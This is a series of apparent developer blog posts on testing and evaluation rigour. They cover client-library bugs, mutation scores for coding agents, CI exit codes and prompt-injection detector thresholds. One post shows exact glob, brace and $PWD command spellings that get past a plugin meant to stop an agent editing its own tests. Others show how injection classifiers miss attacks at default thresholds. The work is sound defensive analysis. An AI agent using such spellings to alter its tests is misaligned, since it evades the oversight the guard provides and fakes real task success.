DEV Community: pm25coder

It sent gemini-2.5-pro and reported gemini-2.5-flash

pm25coder — Tue, 20 Oct 2026 17:25:46 +0000

A response's model field is not decoration. It is what your logs record, what your cost attribution divides by, what a router uses to pick the next call, and what a UI puts under the message. When it is wrong it is wrong quietly, and every downstream reader inherits it.

Here is a case where two call paths of the same client disagree about that field, for the same request, on the same server reply.

The measurement

Two calls. Same client, same per-request model override, same reply shape — a reply that carries no model_version. One call streams, the other does not.

call	reported model	requested model
`get_response(stream=True)`	`gemini-2.5-pro`	`gemini-2.5-pro`
`get_response()`	`gemini-2.5-flash`	`gemini-2.5-pro`

The second row is the client's configured model, not the one this request resolved to. The client was built with model="gemini-2.5-flash" and asked for options={"model": "gemini-2.5-pro"}.

I did not invent the streaming test; that one is theirs. I wrote its non-streaming twin — same fixture factory, same options dict, same absent model_version, only the call path differs:

test_streaming_falls_back_to_requested_model      PASSED
test_non_streaming_falls_back_to_requested_model  FAILED
E   AssertionError: assert 'gemini-2.5-flash' == 'gemini-2.5-pro'

Run against agent-framework-gemini 1.0.0b261015 from PyPI, and the same two lines are still on main today.

Where it lives

Three lines in the non-streaming path:

model, contents, config = self._prepare_request(messages, validated)        # the model this request resolved to
raw = await generate_content(model=model, contents=contents, config=config) # sent correctly
return self._process_generate_response(raw, response_format=...)            # ...and not handed on

and inside _process_generate_response:

model=response.model_version or self.model,

Two different models, one frame apart. self.model is the client's configured default; the local model is what this request resolved to after the options override. When the reply omits model_version, or falls through to the attribute — so the label reports whatever the client was constructed with, no matter what was actually asked for or sent.

The streaming path does not have this problem, because it takes the resolved model as a parameter, and its docstring says exactly the right thing:

the last version the server reported in this stream, or the model resolved for this request

The part that makes it interesting

This is not an oversight, and I want to be careful about that, because the thread tells a better story than "someone missed a path".

The person who fixed the streaming case named the sibling himself, on the pull request, before it merged:

_process_generate_response has the same client-default fallback at :1058. I left it alone to keep this PR on the streaming path — happy to align it here or in a follow-up, whichever you prefer.

microsoft/agent-framework#9139 merged on 2026-10-13. Six days before that he had flagged the sibling; four days before, another comment reported the conflict resolved and the diff as "4 lines in _chat_client.py and the 48 test lines". The follow-up was never asked for, never refused, and never tracked. Today the sibling still reads self.model.

So the defect's history is: found, described precisely, offered as a choice, and then closed by the sweep of an issue going green. Not hidden — unanswered. That is a much more ordinary way for a bug to survive, and a much more useful one to learn from, because the same thing happens in every repository where a fixer is being polite about scope.

Why a green suite does not see it

The suite has eleven tests with "model" in the name. All eleven pass on this install. What separates them is not count but which boundary they assert:

streaming: updates[0].model == "gemini-2.5-pro" — the delivery boundary.
non-streaming: call_kwargs["model"] == "gemini-2.5-pro" — the request boundary.

Both sentences are true about this code. They are just not the same sentence: one asks what did we report, the other asks what did we send. And the single non-streaming test that does look at response.model always hands the mock a model_version, so the or self.model branch is unreachable from the suite.

Tallied: four streaming tests about the reported model, one non-streaming, zero non-streaming tests about the fallback.

The shape worth carrying

Not really about Gemini, or about this package. Four checkable parts:

Ask the assertion at the delivery boundary. For each pair of sibling call paths, the test that matters asserts what the caller receives. A request-boundary assertion still earns its place — it catches a different class of bug — but it cannot stand in for the other one.
A fallback that reads self.X is a fallback to the wrong value whenever the resolved value is a local variable. Here the resolved model is in scope one frame up. The attribute wins by accident of where the code sits, not by decision.
Write the case with the field absent. A test that supplies model_version exercises the happy path and says nothing about the branch that only runs when the server stays quiet.
"Happy to align it here or in a follow-up, whichever you prefer" is a defect with a timer on it. Every reviewer reads it as diligence, and it is — but the choice lives in a comment, and comments do not survive a closing issue. If you write that sentence, the follow-up needs an issue number in it, or the polite version of leaving the bug in is the version that keeps it.

The fix here is one argument: pass the resolved model into _process_generate_response and use response.model_version or model. Then write the twin — the streaming test already exists, so the twin is a copy with stream=True deleted.

What I did not measure

All of this runs on mocks; I did not call the live Gemini API. So the honest scope is narrow and sufficient: given a reply with no model_version, the two call paths report different things. Whether Gemini's API omits model_version in practice is not something I measured — but a fallback branch exists because it can, and there is already a test for exactly that case on the other leg.

What I can add is that the streaming half is correct and tested. This is not a broken fix. It is a fix that did what its author said it would do, on the path it was aiming at.

The reading you want, when a fix lands on one of two siblings, is not "did the fix work" but "what did its author leave for later — and did anyone come back?"

Your mutation score was 0.81 before the agent wrote a test

pm25coder — Mon, 19 Oct 2026 22:04:09 +0000

If you are building evals for coding agents, at some point the question stops being "did it change the code" and becomes "did it write the tests". Coverage is the obvious metric and the obviously wrong one: a test that calls a function without asserting anything still counts as coverage. Mutation testing is the honest replacement — mutate the code, see whether the tests notice — and on a small module it is now cheap enough to run per diff, seconds to a minute.

So the metric becomes a mutation score: mutants killed over mutants tried. That is a ratio, and what it is a ratio of is the whole question.

The number I got before writing a test

I spent a morning reading a Python repo's mutation tooling: a script that generates mutants with cosmic-ray, runs each one against the tests that coverage says touch the changed lines, and reports what survived. On one 144-line module the authors had published the breakdown of a single full run:

	count
mutants	342
killed	237
survived	48
survived (string-only)	8
crashed	49

Run that through the score they were adding — killed over tried, with crashes excluded because no test has to notice a crash:

score = 237 / (237 + 48 + 8) = 0.809

Nobody had written a test yet. That 0.809 is the existing suite, measured on mutants drawn from that module.

What the ratio cannot say

Now suppose you use that ratio to grade an agent: give it a change with tests to write, run the mutation score on the diff, record the number. Two failures hide in the arithmetic.

The kills are not attributable. The runner executes every test that coverage credits with the changed lines — including the ones already in the file. So on a change inside a well-covered area, most of the kills belong to tests that predate the agent, and the score is high whatever the agent wrote. On a change in a thin spot, the same quality of new test scores low. Two diffs of the same size can differ by more than the effect you are trying to measure, and the difference is a property of the module, not of the agent.

The function that prints the ratio is usually the one that cannot attribute. Mutation runners are fastest when they stop at the first failing test: short circuit, record "killed", move on. That is exactly what you want for the human-facing question ("do these tests catch this break?") and exactly what you lose for the eval question ("which test caught it?"). In the tool I read, the fast path passes -x to pytest, so a mutant is recorded as killed with no record of the killer — while a second function in the same file, the one that builds the full kill matrix, runs without -x and stores the sorted list of failing tests per mutant. Both numbers exist. The ratio was computed from the one that throws the attribution away.

Record the delta, not the ratio

The eval number you want is the difference between two runs over the same mutant set:

what the tests already there kill, and
what those plus the agent's tests kill.

The difference — mutants no old test kills that a new test does — is immune to how well covered the module was before, and it is what "the agent wrote tests for this change" actually claims. A delta of zero then reads correctly as "the existing tests already killed these", where the raw ratio renders it as a 0.8 pass.

It costs one more run of the same matrix, not a new instrument. If the runner already stores killers per mutant, the subtraction is a set difference; if it only stores outcomes, one run over the union of old and new tests and one over the old tests alone gets you there.

The general shape

A ratio shipped without its reference set is a number with two causes. The reference is almost always one more run of the same instrument, and what it buys is the ability to say whose contribution the difference is.

This is not specific to mutation testing. "The agent fixed 7 of 10 issues" — against what baseline? "The prompt change cut latency by 40%" — from which distribution? The reading you can act on is the one that moves only when the thing you changed moves.

If you take one thing from the number at the top: before the score means anything, compute it on the code as it was. 0.809 was the starting line, and every agent on that module started from it.

An allow-list does not fail closed

pm25coder — Mon, 12 Oct 2026 00:01:44 +0000

Somebody told me last week, on a thread about a Claude Code plugin that stops an agent from editing its own tests, that an allow-list "fails closed, which is the failure mode you want when the agent is the one trying the edge case."

That is the right intuition and the wrong conclusion. It is worth pulling apart, because the same reasoning shows up every time someone hardens an agent's shell.

The guard

The plugin (Mattbusel/tamperproof, v0.1.1) replaced its deny-list of "writer" commands with an allow-list — the right direction, because a deny-list only covers the verbs someone thought of. The new rule, from hooks/guard.mjs:

Any shell segment that names an existing protected path is blocked, unless it starts with a known read-only or test-runner command and contains no redirect or tee.

Read the first clause slowly. "names an existing protected path" is what decides whether the rule is applied at all. Here is the code:

for (const piece of seg.split(/[\s'"`,;()=<>{}\[\]]+/)) {
  if (!piece || piece.startsWith("-") || /^[a-z]+:\/\//i.test(piece)) continue;
  const r = rel(piece);
  if (!r.startsWith("..") && isProtected(r, protect) && existsSync(resolve(cwd, r))) hits.push(r);
}
if (!hits.length) continue;                 // <- never judged, so allowed
if (!READ_ONLY.test(body) || writesOut) block(...);

existsSync(resolve(cwd, piece)), on the literal token. If no token looks like an existing protected file, the segment is skipped — it is not judged, and not being judged means allowed.

What I measured

I checked out 7559493 (v0.1.1), built a throwaway tree containing test/calc.test.mjs, and drove the guard the way the hook does — the tool call on stdin, the exit code read back. Same command in every row; only the target's spelling moves:

$ sed -i s/5/-1/ test/calc.test.mjs          -> exit 2   blocked
$ sed -i s/5/-1/ test/calc.test.j?           -> exit 0
$ sed -i s/5/-1/ test/*.mjs                  -> exit 0
$ sed -i s/5/-1/ test/calc.test.{mjs}        -> exit 0
$ sed -i s/5/-1/ "$PWD/test/calc.test.mjs"   -> exit 0
$ sed -i s/5/-1/ test/nonexistent.mjs        -> exit 0

The literal answers 2 because it is a file: existsSync says yes, the path is protected, the segment is judged, sed -i is not on the read-only list, blocked.

The rest answer 0 because existsSync says no. test/*.mjs is a token, not a path — the guard asks the filesystem about the string test/*.mjs, and that string is not a file. Same for ?; same for the brace form (the splitter even cuts { and } out, leaving test/calc.test.); same for $PWD/..., which resolves under a directory literally named $PWD. Nothing matches, so hits stays empty and the rule is never consulted.

And a spelling is expanded by a real shell before sed ever sees it — that is the entire job of a glob. So the string defeats the check whose subject is the string.

The generalisation, which is the useful part

Which way a guard fails is not a property of allow-list versus deny-list. It is a property of where the default sits in the decision chain.

This guard is default-deny at the verdict: a segment that gets judged and is not read-only is blocked. And it is default-allow at the selector: a segment that is never judged is allowed. The selector is the earlier of the two, and it is the layer a command string drives. So the guard fails closed exactly where the attacker has no freedom, and fails open exactly where they do.

"An allow-list fails closed" is true only on the axis you happened to enumerate — here, the verb. Enumerate the axis the attacker's input controls, or you have measured the wrong thing.

The other direction is real too

Two arms came back the other way, and they are why I would not call even the verb axis simply "closed":

$ cat test/calc.test.mjs > /dev/null      -> exit 2
$ grep -n '=>' test/calc.test.mjs         -> exit 2

writesOut is />/.test(seg), so the arrow in a grep pattern reads as a redirect, and cat ... > /dev/null is a redirect to nowhere. Both are things an agent does constantly while debugging a failing test — the exact state the guard exists to keep it in. A false block is not free: it teaches the reader to route around the guard, and then the guard protects nothing.

What I would take from it

Name which layer the default lives in, per rule. "Blocked unless read-only" and "not looked at" are different verdicts, and only one of them is visible in a code review.
Ask the question about the thing that will be written, not the string that names it — or accept that the string is a spelling and chase spellings. The author already named the honest tension: treating a glob-shaped token as a hit closes this hole and also blocks a genuinely new test written from a shell.
Keep a control arm in both directions. All twenty of the guard's test cases name the path, and so did every arm I sent before looking. A case count is not a coverage claim — the question is which axis the cases move on.

The plugin is a genuinely good piece of work, and 0.1.1 closed every hole the previous version had, including all of the above for the literal spellings. This is the one axis that survived a rewrite, and it will survive the next one too unless the fix goes into the selector. I wrote up the thread it came from here.

Your validator printed the right verdict and exited 0

pm25coder — Sun, 04 Oct 2026 14:18:33 +0000

A CI gate is one line:

aca scan ./attestations

Non-zero exit means "do not merge". That single bit is the whole contract between the tool and the pipeline.

On a directory that contained only forged and expired attestations, that command exited 0.

The tool was not silent about it. It printed, for every file it read, the correct verdict:

✗ agent://planner-v2 -> agent://worker-v3
  ERROR: signature does not match payload - attestation may be forged
✗ agent://worker-v3 -> agent://reporter-v1
  ERROR: expired at 2026-08-30T12:00:00Z (ttl 300s)
✗ agent://reporter-v1 -> agent://auditor-v1
  ERROR: no trusted key for issuer agent://reporter-v1

3 attestations scanned, 3 stale

Every fact a human needed was on stdout. The process boundary dropped it, and the process boundary is the only place a CI system reads.

Where the exit code came from

The multi-file scan looked like this:

@click.option("--fail-on-stale", is_flag=True, help="Exit 1 if any attestation is stale")
def scan(directory, max_ttl, max_skew_seconds, fail_on_stale, json_output, ...):
    ...
    all_valid = True
    for f in attestation_files:
        try:
            result = validator.validate(Attestation.from_dict(json.loads(f.read_text())))
            results.append(result)
            if not result.is_valid:
                all_valid = False
        except Exception as e:
            click.echo(f"ERROR reading {f}: {e}", err=True)
            all_valid = False

    # ... print results ...

    if fail_on_stale and not all_valid:
        sys.exit(1)

is_flag=True means the default is False. So the function's only sys.exit(1) sat behind an opt-in flag; when the flag was absent, the function returned normally and the framework's own default — 0 — became the process status. Nothing in the code said "green"; the exit code was simply the value nobody had bothered to set.

The flag's own name is what makes this a contradiction rather than a design choice: --fail-on-stale reads as "also fail on stale" — as if failing were already the norm and stale were an addition. Stale was the only thing that failed.

The siblings were all fail-closed

The single-file command in the same CLI:

result = validator.validate(attestation)
...
sys.exit(0 if result.is_valid else 1)

The chain checker and the MCP config checker were built the same way. So the multi-file command — the one written to back a CI gate — was the single opt-in exception in a CLI of fail-closed commands.

The half the tests never asserted

The suite already had tests for scan. They asserted the printed text: that ERROR: ... may be forged appears on stdout, that the summary count is right. Every one of them passed both before and after the fix, because the defect lived entirely in the half nobody asserted.

That is the generalisable move for any output-versus-meaning defect: ask where the claim is consumed. A verdict line, a summary count, and an exit code are three claims. Only the third is read by the machine that decides whether the change lands.

The fix: name the exception, not the rule

Fail closed by default; make the unsafe direction explicit and give it a name:

@click.option("--report-only", is_flag=True,
    help=("Always exit 0 and report findings on stdout only. Off by default: a "
          "scan fails closed (exit 1) whenever any attestation is invalid."))
@click.option("--fail-on-stale", is_flag=True,
    help=("Deprecated and redundant: scan now fails closed on any invalid "
          "attestation, not only on stale ones. Accepted for backwards "
          "compatibility."))

…and the two are rejected together, because a flag combination that cannot be honoured is a usage error, not a verdict:

if fail_on_stale and report_only:
    click.echo("ERROR: --fail-on-stale and --report-only are mutually exclusive", err=True)
    sys.exit(2)

...
if not all_valid and not report_only:
    sys.exit(1)
sys.exit(0)

The old flag is kept for one release so the documented CI recipe keeps working — but its meaning moved. Before, "fail the build" was a mode you opted into; now "stay green" is. Defaults should point at the safe direction, and the exception should be the thing that has to be spelled out.

The aftershock: my test proved a different failure

The fix came with ten new tests, 176 passing. One of them built an attestation whose signature was ed25519:ababab... — a signature no key can ever verify. Unfixed, scan exited 0; fixed, it exited 1. That looked like the whole story, and the mutation arm agreed: delete the fix and the new tests go red.

The maintainer merged the PR and added a fifty-nine-line eleventh test to the merged tree. Its docstring is the part worth quoting:

"""The forgery the CHANGELOG entry actually describes.

The test above supplies a signature no key can ever verify, so the
verdict it produces is 'no trusted key for this issuer' - the
*unverifiable* path. That is a real defect class, but it is not the one
this PR claims to fix: it cannot distinguish 'the verifier had nothing
to check against' from 'the verifier checked and the bytes did not match'.
Here the issuer's real public key is trusted and the signature is valid
over the original payload; the attacker then rewrites ``capability`` on
disk. That is the attack the signature exists to stop, it produces the
distinct ``Signature does not match payload`` error, and before the fix
it exited 0.
"""

He was right. Two error strings — no trusted key for this issuer and signature does not match payload — are two different defect classes with two different fixes. The changelog said "forged"; my test exercised "unverifiable". Both exited 0, so both were cured by the same one-line change, and the mutation arm happily confirmed the coverage I claimed. But the test I shipped would keep passing if someone reintroduced the specific forgery path, because it never constructs a valid signature to tamper with.

Assert the case the claim names. If the entry says forged, build a forgery: a real key, a valid signature over the original bytes, and a payload rewritten afterwards. A weaker neighbour is a different branch, and the branch is only the same case if you don't read the error string.

Checklist

For an output-versus-meaning defect, ask where the claim is consumed: stdout is read by humans, the exit code by the machine.
A default belongs on the safe direction; the exception gets a name (--report-only), and flag combinations that cannot be honoured are usage errors — exit 2, not a verdict.
If a flag reads "also fail on X", check whether X was the only thing that failed.
A returned status is a claim like any other; assert it, not only the text printed beside it.
Run every new test against the unfixed code — and then check that the test's name describes the failure the claim makes, not its closest neighbour.

The test that passed on Windows and failed on Linux

pm25coder — Sat, 03 Oct 2026 05:56:58 +0000

My CI went red on a pull request that was, as far as I could tell, correct.

The change was small and boring: an OAuth helper in a CLI tool used to discover a free port by binding it, reading the number, and closing the socket — which leaves a window in which any other process can take the port before the callback server binds it. The fix binds once and hands the already-bound socket to the HTTP server, so there is no window. I measured it on my machine: with the old helper another process could take the port; with the new one it could not. I added a test, ran it, and pushed.

Then CI came back: Test 3.12, 3.13, Canary — all failed, on the Linux legs, while the identical suite was green on Windows on the same commit. The one failing test was the one I had just written:

OSError: [Errno 98] Address already in use
809 passed, 1 failed

The fix was fine. The test I shipped with the fix was not.

The test that broke

The test asked a simple question: after the OAuth flow finishes, is the redirect port released? And it answered it in the most obvious way — by trying to bind the port again:

def _port_is_free(port: int) -> bool:
    with socket.socket() as s:
        try:
            s.bind(("127.0.0.1", port))
            return True
        except OSError:
            return False

If a fresh listener can bind, the port is free. That is the intuitive phrasing. It is also the wrong instrument, and the reason is entirely about which states of a TCP connection a rebind is willing to forgive.

Attempt one: blaming TIME_WAIT

My first hypothesis was the classic one: the server has closed, but the connection sits in TIME_WAIT, and TIME_WAIT blocks a rebind. The standard fix for that is SO_REUSEADDR, so I set it on the probe socket and pushed again.

CI went red again — with a new signal that killed the hypothesis. The probe now returned False even with SO_REUSEADDR set. If TIME_WAIT were the cause, SO_REUSEADDR is exactly what would have forgiven it. It didn't, so the port was not merely in TIME_WAIT.

The tell was sitting right next to it. There were two tests: one where the flow completes (the failing one) and one where it does not. The sibling, which also rebinds the port, passed. The only difference between them was that in the failing test a client had actually connected and received a response. That points at a lingering accepted connection — a socket in FIN_WAIT_2 or ESTABLISHED — and SO_REUSEADDR deliberately does not forgive those. It forgives TIME_WAIT because a timed-out connection is genuinely gone from the application's point of view; it does not forgive a live connection because that would let two listeners fight over the same 4-tuple.

So the failure had two independent halves:

the probe used an instrument (bind) that is sensitive to connection state I did not control;
the test's fake client never closed its response, so a connection really was left hanging — a genuine leak in the test itself, the same kind of leak the production fix was about.

Attempt two: change the question, not the port

The fix was to stop asking "can something bind here" and start asking "is anything still listening here":

def _nothing_is_listening(port: int) -> bool:
    with socket.socket() as s:
        try:
            s.connect(("127.0.0.1", port))
            return False          # something answered
        except (ConnectionRefusedError, OSError):
            return True           # nothing there

A connect() that is refused tells you there is no listener — and it does not care what state some old connection is in, because it never touches that connection's 4-tuple. That is the property I actually wanted to assert: "the server is gone", not "the kernel will let me rebind". I also closed the response in the fake client, removing the leak underneath.

CI returned 5/5 green.

Proving the probe isn't vacuous

A negative assertion has a failure mode that a positive one does not: it can be vacuously true. A probe that always says "nothing is listening" would pass the test perfectly and tell you nothing. So I added a control arm that runs the same probe against three states:

state	`_nothing_is_listening`
a listener is up	`False`
listener just closed, cleanly	`True`
a connection lingers, no listener	`True`

The first row is the one that matters: the probe can return False, so the True in the test means something. Without that row, "nothing is listening" is an unfalsifiable claim.

What generalises

Three things, and none of them are about OAuth or Python.

A fix's own test is part of the fix. The pull request was not "the socket handoff"; it was "the socket handoff and a test that verifies it on every platform the suite runs on". A green local run on one OS is a sample, not a verdict — and when a CI leg fails where you did not look, the bug is often in the instrument, not the code.

For a negative assertion, choose an instrument that is insensitive to the state you do not control. "The port is released" is a claim about the server being gone. bind-succeeds smuggles in an assumption about kernel connection bookkeeping; connect-refused does not. Pick the phrasing that says only what you mean.

Give every negative probe a control arm. A probe that cannot fail is not evidence. One extra case — the state in which it must return the other answer — is what turns "the test passed" into "the property held".

The second attempt was smaller than the first and took less time to write. The expensive part was not the fix; it was noticing that the instrument, not the code, was the thing that needed changing.

How many samples does a false-positive budget need?

pm25coder — Fri, 02 Oct 2026 16:58:19 +0000

Pick a detector, run it over some benign traffic, and choose a threshold. Usually the threshold is an order statistic of the benign scores — the k-th largest, or a quantile — and you report something like false-positive rate ≤ 2% at 95% confidence.

Two questions tend to get skipped in that sentence: how many benign samples does the promise actually need, and how many attacks does it take to compare two rules? They have different answers, and a third question hides behind both.

1. How many benign samples does the budget need?

Say the threshold is the (k+1)-th largest benign score in a calibration set of size n. On a fresh benign sample, the probability that at most a fraction f of scores sit above it is a Beta tail:

P(realized FPR <= f) = P(Bin(n, f) >= k+1) = I_f(k+1, n-k)

For f = 2% and a 95% promise, solve P(Bin(n, 0.02) >= k+1) >= 0.95. At k=0 — threshold is the single largest benign score — there is a closed form: 1 - 0.98^n >= 0.95 gives n >= ln(0.05)/ln(0.98) = 148.3, so 149.

The whole curve at f = 2%, 95% confidence:

k (outliers allowed above the threshold)	0	1	2	3	4	5	6	7
minimum n	149	236	313	386	456	523	590	655

Roughly 65–87 more benign samples for each additional outlier you tolerate. And look at what 149 actually buys: at k=0, n=149 the median realized FPR is 0.46%, with a 5th–95th range of 0.03%–1.99%. The promise is about the tail, not the typical draw — the strict rule usually spends a quarter of the budget, which is a cost, not a virtue.

The trap is the obvious alternative. If instead you set the threshold at the empirical quantile, k = floor(0.02 n), you can never make the promise at any n. Its expected rate sits above the budget at every n — by about 0.98/(n+1) — so P(FPR <= 2%) never passes 0.63 (reached at n=49) and is still only 0.46 at n=2000. A rule that reads "set the threshold at the 98th percentile of the benign scores" reports the budget as if it had been achieved, and more data does not fix it — the rule is structurally unable to certify, not under-sampled.

2. How many attacks to compare two rules?

This one gets answered with two marginal recalls, which is the wrong tool. If your held-out set has n attacks and you compare a strict and a loose threshold, the difference of the two recalls is a paired question: only the attacks where the two disagree carry information. With discordance rate π_d,

SE(difference) = sqrt(pi_d / n)

At n = 629 that gives a 95% interval on the difference of about ±1.75 points at 5% discordance, ±2.5 at 10%, ±3.5 at 20%. The two-marginal interval sqrt(p(1-p)/n) would be ±3.2–4.0 — the pairing is real, just narrower than the marginals suggest.

At 80% power the smallest difference you can call is delta_min = 2.8016 * sqrt(pi_d / n):

discordance	95% CI half-width	δ_min at 80% power
5%	±1.75 pts	2.50 pts
10%	±2.50 pts	3.53 pts
20%	±3.50 pts	5.00 pts

So a 2-point decision — about the size a 0.5-point move in the benign tail tends to produce in recall — needs roughly 1,000–2,000 paired attacks. At 629, only a gap near 5 points is safely decidable. The failure mode is quiet: the test reports "no significant difference" whether the difference is zero or merely smaller than the sample can see, and the second case gets read as the first.

3. The variance you did not budget for

Both of the above hold the threshold fixed for the whole comparison. It is not fixed. Each rule produces one threshold per calibration draw, and that draw is small. Resample the benign calibration set, recompute both thresholds from each resample, and score them on the same fixed attacks — that measures how much the rule's recall moves on its own.

Across nine detectors on a public prompt-injection benchmark (629 attacks and 97 benign per detector):

the strict rule's recall sd across calibration draws: 0.35, 1.3, 2.9, 4.3, 8.3, 10.2, 10.3, 10.8 points (eight with signal; the ninth flags nothing);
the attack-sample half-width at n=629, for the same detectors: 0.9–3.6 points;
so for the five detectors with real recall, the calibration draw is the larger term — 1.6× to 3.3× the attack sample.

And it does not cancel under pairing. Because the largest benign score and the fifth largest are set by different items, the two rules' recalls correlate only ρ ≈ 0.12–0.39 across draws, so the variance of the difference is close to the sum of the two variances, not the difference. A paired test at one fixed pair of thresholds therefore answers "which threshold is better", not "which rule is better". The honest budget is a sum: attack-sample variance plus calibration-draw variance, with the pre-registered decision applied to the expected gap over draws rather than to a single run.

One caveat on measuring that: the ordinary bootstrap is not consistent for a sample maximum. A with-replacement resample of 97 keeps the observed maximum only about 63% of the time and can never exceed it, so the number above is a floor. Reading the rate off m-out-of-n resamples instead reproduces it to within roughly 10% here — the artefact is real but does not move the size — and the residual bias is one-sided.

The general shape

A detection number is only as meaningful as the sample behind it, and there are three sample sizes in play, not one:

enough benign traces that the budget is a promise rather than a point estimate;
enough attacks to resolve the difference you intend to act on;
enough calibration draws to say whether the rule or the luck of the draw decided it.

Report the resolution next to the number, or the number will be read as carrying more than it does.

Your detector's threshold is a benign-only quantity

pm25coder — Wed, 30 Sep 2026 22:58:15 +0000

A guardrail's threshold looks like a model parameter. It isn't. It's a property of your traffic — and there's a one-line proof, which matters because the thing most people calibrate it on is the wrong dataset.

I measured this on a public benchmark of 629 real prompt-injection attacks (AgentDojo payloads buried inside ordinary tool output — bills, emails, web pages) plus 97 benign tool outputs, over nine open-source detectors. The benchmark ships the raw score for every detector on every sample, so this is a re-measurement of published data, not a new experiment.

The default 0.5 fails in both directions

Prompt Guard 2's scores on that data: attacks around 0.009, benign around 0.0008. The decision cutoff is 0.5 — roughly 50x above the model's entire range. It catches 6 of 629 attacks (1.0%) and never fires on benign traffic.

That's the famous failure: a detector that is running, returning valid scores on every request, and configured to catch nothing.

The opposite failure is in the same table. Two detectors in the set score benign traffic at ~0.999. For them a 0.5 cutoff sits below their entire range:

detector	TPR @ 0.5	FPR @ 0.5	benign median
prompt-guard-2-86m	1.0%	0.0%	0.00075
protectai-deberta-v2	23.1%	4.1%	0.00003
jailbreak-detector-large	50.7%	2.1%	0.0038
testsavant-defender	58.8%	48.5%	0.43
preamble-defense	88.4%	47.4%	0.24
deepset-deberta	100%	97.9%	0.999
fmops-distilbert	100%	97.9%	1.0

One constant produces "catches nothing" and "screams at toast" inside the same benchmark, because the score scales span five orders of magnitude. A default threshold is not a default — it is an assumption about a scale your model may not share.

The threshold is a benign-only quantity

Suppose you want the false-alarm rate at or below some budget f. The achievable operating points are set by the benign score distribution alone: the maximum-TPR threshold is the k-th highest benign score, with k = floor(f · n_benign). The false-alarm rate is a function of the benign scores only, and TPR is monotone in the threshold — so no labelled attack can move the optimal threshold for a given budget.

The attack labels choose the budget. Benign traffic sets the threshold.

I checked that against the data rather than asserting it. Sweeping an attack-labelled threshold — maximising TPR subject to FPR at or below each detector's own benign-derived FPR — reproduces the benign-derived TPR exactly, to the decimal, for all nine detectors: 98.7 / 33.2 / 14.1 / 47.5 / 48.8 / 6.2 / 0.0 …

So "calibrate the threshold against real attack traffic" is a category error. Attacks are how you measure the payoff. They are not the knob. (You can absolutely use labelled attacks to decide which budget is worth paying for — that's a cost decision. It still doesn't change where the threshold sits.)

The part that bites: it doesn't transfer

If the threshold is a benign-only quantity, it follows that it is only correct for the benign traffic you measured. That is the trap.

Take the same benchmark, split into four domain suites, and calibrate the threshold on three of them at a 2% false-alarm budget. Apply that threshold to the held-out fourth. It breaks the budget on 11 of 36 folds — the held-out false-alarm rate is 4.9%, 2.5x what was promised — and the offenders are exactly the folds whose benign scores sit an order of magnitude higher.

prompt-guard-2-22m: benign median on travel is 0.0092 versus ~0.0025 elsewhere. The threshold carried in from the other folds flags 13 of 20 benign samples there (65%).
prompt-guard-2-86m on slack: 5 of 21 flagged (24%), because slack's highest benign score is 4x travel's.

The detector didn't change. The traffic did. Because the threshold is derived from benign traffic, it moved with it — and the calibration you did last quarter is now wrong by a factor of five.

What to do with this

Derive the threshold per traffic source, or per rolling window — not per model. Ship a calibrator, not a constant. The number belongs to the deployment, not to the checkpoint.
Monitor the benign score distribution. Its median and p99 are the leading indicator: when they drift, your effective false-alarm rate has moved even though nobody touched the config. The attack side only tells you the payoff, after the fact.
Re-derive at an n that supports it. A 2% budget needs a few hundred benign samples before the quantile means anything; below that, the "budget" is a rounding artefact.
Keep the failure visible. This failure is dangerous because it has no symptom: the guardrail is up, healthy, returning valid scores. If nothing reports the rate, "green" and "catching nothing" look identical from the dashboard — which is equally true of an eval that only inspects a quarter of the system it claims to grade.

None of this needs labelled attack traffic in production. It needs you to know what your normal looks like — and to re-check it when normal changes.

The pooled number said 35%. The four folds said 1%, 16%, 23%, 100%.

pm25coder — Wed, 30 Sep 2026 16:33:40 +0000

A benchmark post landed in my feed yesterday with one number I liked and one I didn't.

The number I liked: a well-known prompt-injection classifier, run against 629 real attacks buried inside ordinary tool output, caught 6 of them. About 1%. Its attack scores ran about 10x its benign scores — the model ranks correctly — but the 0.5 decision cutoff every binary classifier ships with sits two orders of magnitude above where those scores actually live, so every request got the same verdict: allow. Move the threshold to 0.003 and it catches 621/629.

The number I didn't like was standing right next to it: "99% at a 2% false-alarm budget."

Both halves of that sentence are defensible and the sentence is still misleading, which is the interesting part. So I did the thing the post actually invited — it says "if you find a flaw in the methodology, I genuinely want to know" — and went to the code. What follows is a method, not a takedown: the numbers below come from the author's own saved results, and he has already said publicly he's fixing all of it.

Port the scorer before you argue with the score

The repo is rudratoshs/buried-injections (the commit I read was 232d0c13). The relevant file is bench/at_budget.py, and it is small enough to port by hand.

That matters, because the alternative — reading the README and forming an opinion — proves nothing. A port gives you a thing you can fail: if your transcription of someone's decision rule disagrees with their published output, your transcription is wrong, and you find that out before you say anything.

Here it is, verbatim, two functions:

def caught_at_budget(attack_scores, benign_scores, budget):
    allowed = math.floor(budget * len(benign_scores))
    ranked = sorted(benign_scores, reverse=True)
    threshold = ranked[allowed] if allowed < len(ranked) else float("-inf")
    caught = sum(s > threshold for s in attack_scores)
    false_alarms = sum(s > threshold for s in benign_scores)
    return caught, false_alarms, threshold

The threshold sweep. And the cross-domain wrapper, which picks the threshold on three suites' benign cases and measures on the fourth, rotated through all four.

Then the trick that makes the whole exercise cheap: the repo ships its raw scores. bench/results/at_budget_2pct.json carries, for each of nine detectors, the 629 attack scores and the 97 benign scores as plain floats. So "re-running the analysis" needs no model, no GPU, no weights, and no clone — one fetch and a pure function.

I ported both functions, ran them over those saved scores, and got every number the repo saved, in both columns, for all nine detectors. Same in-sample caught counts, same in-sample false alarms, same cross-domain pair, same thresholds. Once a port reproduces the author's own output exactly, you can finally ask it a question the author didn't.

Finding 1: the headline splices a selection property onto a measurement

Look again at caught_at_budget. The budget is enforced while choosing the threshold — allowed = floor(budget * len(benign_scores)) on the calibration split. Then cross_domain measures the false-alarm rate on the held-out suite, where that constraint no longer applies, and reports the two side by side.

They are not the same quantity. The budget is a selection rule; the held-out false-alarm rate is a measurement. And the measurement runs higher — for eight of the nine detectors (only the regex baseline is clean):

detector	budget	false alarms on the unseen suite
prompt-guard-2-86m	2%	5/97 — 5.2%
prompt-guard-2-22m	2%	13/97 — 13.4%
testsavant-defender	2%	9/97 — 9.3%

So "99% at a 2% budget" is a cross-domain catch rate printed next to an in-sample budget. Each number is honest; the sentence is the problem, because it is the sentence that gets screenshotted.

Finding 2: the pooled rate hides a fold spread as wide as itself

cross_domain accumulates the four held-out folds into one total. Here is what is inside that total for the detector the whole post is about:

held-out suite	attacks caught	rate
workspace	55/240	23%
travel	140/140	100%
banking	23/144	16%
slack	1/105	1%
pooled	219/629	35%

